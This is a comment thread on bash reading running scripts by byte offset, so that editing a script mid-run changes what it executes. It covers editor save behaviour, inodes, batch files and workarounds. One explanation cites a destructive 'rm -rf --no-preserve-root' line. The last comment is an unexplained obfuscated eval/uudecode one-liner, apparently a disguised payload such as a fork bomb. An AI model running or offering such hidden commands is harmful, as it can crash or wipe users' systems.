Take care editing bash scripts (2019)
thomask.sdf.org
thomask.sdf.org
I've tested this, and indeed when editing the file with vim, I can't reproduce the "dangerous" behavior. To trigger this behavior, I'd have to overwrite the script file, e.g. by
1. create script run.sh with "sleep 30" etc
2. create script run1.sh with "sleep 3" instead
3. start run.sh
4. overwrite script: cat run1.sh > run.sh
5. after the sleep, the commented line does execute
Are there editors that actually overwrite the original file, instead of creating a new file? I thought the latter is the recommended approach as it can prevent data loss e.g. if there's a crash during writing the file.P.S. If the script in question is on a network file system, things may be different even for vim. E.g. on NFS the file handle doesn't behave fully like a regular POSIX file handle, and the NFS server might actually reopen the file between reads, thus delivering the modified contents to the bash process.
Yes, there are. This bit me at one point, since I created a Make target depending on directories rather than individual files in the directories (for performance). A directory gets updated when a new file is created, so it worked for all developers except one - who had an editor that saved files in place. I think that developer was using Sublime, but I might remember wrong.
"atomic_save": falsefrom the depths of basic-save-buffer-2
;; Write temp name, then rename it.
;; This requires write access to the containing dir,
;; which is why we don't try it if we don't have that access.One way to check how the editor behaves is to run
ls -li run.sh
before and after editing the script. The first number in the output is the inode of the file; if it stays the same then the file was overwritten. → ls -i /tmp/foo2.txt
4063325 /tmp/foo2.txt
→ vim !$
vim /tmp/foo2.txt #edit file
→ ls -i /tmp/foo2.txt
4063325 /tmp/foo2.txtEDIT: Then again, like the other comment mentioned, it seems it also depends on whether the file is in /tmp/. This seems to be because it matches the default pattern in the option "backupskip". For unix, the default is "/tmp/,$TMPDIR/,$TMP/,$TEMP/".
Yeah, I've been bitten by this before. I use vim though! Does ":w" have different behaviour to ":wq"?
I'm pretty certain I've encountered this using fairly featureful IDEs too, as I primarily use the JetBrains suite for dev now.
This could all be compounded by me editing stuff on NFS mounts though...
Or does ":w" have a different behaviour than ":up"(save file if changed) in this context? My guess would be that both just reuse the same functionality(why be inconsistent for no reason?).
But regardless it's good to know this edge case can occur - trying to find the cause otherwise and reproducing the problem would be a nightmare, even if the behaviour was consistent across editors.
EDIT: I tested using 'ls -li' to look at the file's inode, and while ":w", ":wq" as well as ":up" always result in a new file it seems that multiple changes can cause the inode to go back to a previously used number. So maybe this issue can occur with every editor if the file is saved multiple times.
I doubt that a inode reuse can make this happen, since the inode will not be reused while bash keeps the file open.
Are there ones that do the reverse? :o.
Seriously though, it's worth pointing out that what you describe is not obvious, and one can easily miss that there are two ways of writing a file to disk. Case in point, it took me 17 years of programming to discover that "writing new files under the same filename" is a thing, and that was only by accident, beacuse I started wondering why #'open in Common Lisp has both :overwrite and :supersede as different options for what to do if the file you want to write to exists...
Yeah, there's a dichotomy in how files are handled as presented to the user and how it's actually done. For example, despite most UIs presenting files as being opened, they're almost always closed and only opened when the program needs to do something to them at any given instant.
> Case in point, it took me 17 years of programming to discover that "writing new files under the same filename" is a thing
It took me many years (though not 17) to discover the opposite, that all forms of overwriting without changing the inode was possible. For many years, I was under the impression that one could modify files to the same length or a longer one, but that the core syscall interface for files (the calls that one is typically introduced to when learning about working with files) didn't allow for the shrinking of files. I made the wrong justifying assumption that this API design was to help against disk fragmentation. I also thought file-clobbering meant replacing files. I later learned that truncate(2) exists and allows for the arbitrary shrinking of files, but even now, I'm not sure that it's possible to shrink files arbitrarily on all systems with a unix-like file syscall interface. For example, Plan9 doesn't seem to have a truncate syscall.[1]
It seemed to me that the only way file editors could modify a file to be shorter was to write a new one and replace the old one with it. I suppose they could have also clobbered files, but it didn't seem to me that it held any advantage over writing elsewhere and renaming, at least not while I wrongfully assumed that clobbering caused the inode to change. If anything, resorting to clobbering increases the risk of data-loss if there's any error while writing.
Anyway, my point is that what you call non-obvious was what I intuitively thought was the only way file editors could work portably, and that this was due to my late introduction to the perhaps-non-portable truncate(2).
(N.b. this is how simple memory allocators work.)
So in the end, for a long while, I hadn't had an issue that would make me double-check those assumptions.
> In addition, there are [...] values that can be ORed with the omode: OTRUNC says to truncate the file to zero length before opening it
My point was that if you can't shorten it by an arbitrary amount to avoid the redundancy of writing the same beginning of the file, then there's really no advantage to it over writing a new file to replace the old one. In fact, I thought clobbering (i.e. O_TRUNC) was nearly equivalent, only with the additional risk of data loss if there's an error while writing.
I don't know much about the internal workings of vim, but I do know two things:
1) I use vim exclusively (on linux anyway).
2) I have been bitten by this exact problem.
I guess I can understand why bash works this way.. it means that it can handle arbitrarily long scripts without having to read the entire script into memory at once. But purely from an everyday usability perspective, this is a really bad design decision. Anyone know if there's a way to force it to read the whole script into memory on startup?
It would also have to buffer the whole file even though it's painstakingly executing it in a way that doesn't require a buffer.
> painstakingly executing it in a way that doesn't require a buffer.
I don't understand why people keep saying that. There's a buffer of 64 bytes. You mean in a way that doesn't require slurping the file. It avoids slurping precisely by buffering.
If you want to force bash to read the whole script into memory on startup, you can put the whole script inside a function, and then, on the last line of the file, call the function you just defined.
The normal way of reading a file (using a buffer) solves this. The only reason for doing this dance instead would be that it's considered part of the interface. I was going to look for it in the POSIX standard, but it looks like that would cost me $894.00, and that's $7 more than my entire verifying-comments-on-the-internet budget for this fortnight.
That can't be true, because it would break links.
I have used the same overwrite-by-rename technique in very long-running embedded processes because renaming a file is atomic on common local Linux filesystems.
See: https://github.com/vim/vim/blob/95f0b6e5a5e5861da34cc064c601...
Edit: Here is the list in the vim source code when it will not use rename: https://github.com/vim/vim/blob/95f0b6e5a5e5861da34cc064c601...
I have also stumbled upon this a few years ago, but I blamed myself (for using an editor that saves in place), and just applied the following "workaround" when needed: wrap the whole script in a function, and as the last line of the script just call it with `_main "${@}"`.
In addition to this, you can make sure no appended code is ever executed by explicitly running "exit" at the end of your block. I actually used this trick in a self git-updating script (the updated version could contain more lines at the end).
PING localhost -n 10
#echo nothing to see here
echo finish
D:\123>PING localhost -n 10Pinging ... [127.0.0.1] with 32 bytes of data: Reply from 127.0.0.1: bytes=32 time<1ms TTL=64 ...
Ping statistics for 127.0.0.1: Packets: Sent = 10, Received = 10, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms
D:\123>#echo nothing to see here '#echo' is not recognized as an internal or external command, operable program or batch file.
D:\123>echo finish finish
now rerun it and edit first line to 'PING localhost -n 1' and suddenly
... Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms
D:\123>echo nothing to see here nothing to see here
D:\123>echo finish finish
For bash it works rougly like this (discounting the shebang to keep things simple):
1. bash reads first line and remembers the byte offset where to continue next. In this case at the octothorpe at byte position 10 (assuming UNIX line endings).
2. bash executes first line
3. while bash is still busy with the first line someone removes a character before position 10
4. Bash reads what it assumes to be the next line at byte position 10, which is now where the 'r' is.
5. bash executes 'rm -rf --no-preserve-root'
EDIT: The observed behaviour for a DOS/Windows batch file is indeed the same. I assumed that the trick would not work because supposedly Windows reads the whole file again after every command, but apparently it does not remember the line it was executing but also a byte offset
echo start
pause
echo stop
Removing the last character from the first line while the script is paused results in Bad command or filename - "cho".* https://jpsoft.com/help/batchtype.htm
The reason that this could not be simply turned on globally for BAT scripts is that various tools made use of the original behaviour, perhaps most notably "fancy change directory" scripts and similar programs, where a wrapped executable was called from a wrapper script, and the executable rewrote the next lines of the script on the fly to do the selected action.
It looks like this in my case:
somefunction()
{
}
# main
{
...
}
Now whatever is inside of any of the functions or inside of the "main" braces will be read at once and it won't be replaced with some new lines if I edit the file while the execution still hasn't finished.I would surely prefer having some global flag "reread the script" for those who need the old behavior and "sane" default for the most users (never reread). But general user friendliness and reasonable defaults was seldom a desired goal in the circles that decide about the development of these programs.
http://www.oilshell.org/blog/2020/02/good-parts-sketch.html#...
To summarize:
1) saving many interactive snippets in a single file -- each one is a function
2) expose entire shell functions to tools like xargs and chroot
3) if $0 myfunc solves the "ignored errexit" problem
now
4) safely modify a bash script while it's executing
Bash, and shells in general, are designed to be interactive command execution environments. The syntax easily allows multiple commands on a single line, and this is not uncommon in interactive or scripting use, in my experience. Many shells also favor permissive execution. What I mean by this is that they will keep running as far as they can. It is perfectly reasonable (at least based on the behavior of many shells) for a script to run several commands successfully and then fail later on when facing a syntax error or nonexistent command.
Many shells are also carrying design decisions from a much more resource-constrained era of computing.
It certainly makes sense in terms of preserving system resources to simply execute a command at a time, to full completion, before even reading forward. This minimizes the amount of parsing and the amount of script required to keep in memory. I am not saying that this is the best way to do things, but that it is an optimization along certain axes.
Separately, it is not unreasonable in terms of design and implementation of a shell to unify as much as possible the scripting environment and the interactive environment. Keeping this in mind, the way to think of a script is just as an interactive session. Each line is just a command entered at the prompt. This ensures that behavior in scripts is the same as the behavior the user sees every day. How to implement this, especially in the face of resource constraints, in another way? I am not saying that the implementation as it stands is correct or good, but just that this is not an unreasonable behavior.
Although I haven't written such "dynamic" scripts (yet), I'm sure a few exist that based on `expect` and `bash` work in a "feedback-loop" manner.
When I was referring to a "dynamic" script I didn't mean "just append to a file", but instead I was referring to the fact that `bash` doesn't first try to load the whole script, parse and then execute it, but instead it "streams" through the script.
Secondly, bash does not always seek back and reread parts of the script it already read. For instance it will skip doing that when only executing plain echo commands instead of commands which necessitate forking. Perhaps someone could look up the relevant part of the source?
See it for yourself by stracing (with strace -e %process,%file,read,write,lseek) a file containing
echo a
echo b
echo c
versus date +a
date +b
date +cAlso, flock() could be used to signal to other processes that the script file is not to be written to.
Bash in general is a really helpful tool because it lets you trade off some safety for the ability to move very quickly, and this kind of on-the-fly editing is a good example.
But it's definitely better to be careful and expect the bash ("classic"?) behaviour.
Unless you know that it is explicitly safe (ie the whole file has been cached before it starts) then you should really not modify any running file.
Bash is a classic style tool, if you hammer your thumb instead of a nail, that doesn't mean the design of hammers need to be fixed. It's meant to be useful, not smart.
This attitude is why the core utils have remained so damn useful for 50 years and haven't devolved into dysfunctional messes.
choosing what not to do is important
$ cat rewrite_me
#!/bin/bash
C=$(sed -r 's,^(C.+sed.+)#$,\1,g' ./$0); echo "$C" > $0 #####
# date
$ ./rewrite_me
Fri 08 May 2020 11:41:52 PM CESTI've always found it odd that binaries and scripts are often installed 755, including in /bin and /sbin.[1] Perhaps it's because install scripts don't bother changing the read-write permissions, so executable end up with 755 because the default umask is 022.
Anyhow, I've taken to removing all write permissions from most of my files, not just executables. I haven't yet experimented with changing my umask to 222, but I suspect it would cause many programs, especially editors, to fail.
[1] At least on Linux. I just checked OpenBSD and they're 555. But even on OpenBSD most files in /usr/local/{bin,sbin}, installed by third-party packages, are 755.
Can be used it to interact with the execution of the current program. It is simple as appending further code with a label and jumping to it using goto. I first noticed it in 2007 started using it in production.
I had written a small utility to easily start my games (a Pascal program). My goal was to get as much memory free for the games. To allow unloading my program before launching the game, I wrote a bat script which first launched my program.
My program would replace the last line of the script with the game to start (and a goto begining), and then terminate. Now, command.com would start my game, without any memory overhead. When I quit my game, I come back to my utility.
At the time, security was not my concern...
Assuming that you actually use rename() to do the unlinking and atomic updating, the "make install" should also ensure that write permission is removed from the new files.
* https://github.com/jdebp/nosh/blob/79b1c0aab9834a09a59e15d47...
If you use an editor with safe saves this might not even happen because that works by saving to a temp file and doing an atomic swap, and unlinking the old file. In that case, I believe the script should continue as written, because the fd should point to the unlinked file. I believe vim does this by default, for example.
But I've never seen a person editing a bash script without an editor that swaps in a new version of the file until today, so never knowingly encountered this bug before.
It should be fixed.
This is software engineering... Separate your dev environment from production and do a controlled deployment.
Which is probably not a good idea in the first place.
This is not an unusual thing to do in other situations. I'm sure you change your code all the time while an instance of the program is running, no matter whether it's compiled or interpreted. At least I don't habitually close a stop program first before I make changes to the source code.
The example in the article shows that that's a bad idea in bash scripts because they, unlike other code, don't get read in entirely (as in, say, Python, Perl, etc.) before they get executed.
It comes as a surprise the first time you experience it that this rule doesn't follow with bash scripts.
Is bash closing the file and reopening it, or is the editor writing back to the same filehandle I wonder?
Until your script throws an exception, at which point your backtrace will not match the code that was running at all.
That's also true of executables, but bash scrips aren't exec'ed, they are just text files that are read in by the bash executable.
Delete and replace is different than edit in place. I don't know about Linux, but you can edit a binary on FreeBSD which is running, and it affects running copies (it's all memory mapped from the file), and that's why i use install instead of cp to update binaries (including shared libraries)
If you're writing a shell script for some mundane task on your personal machine, knowing the possible effects of editing a running script is useful knowledge, especially when something might behave in a non-intuitive way.
That's why I get always hit by this shell problem. Happens every other week. There's not even a lock, as I would expect.
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)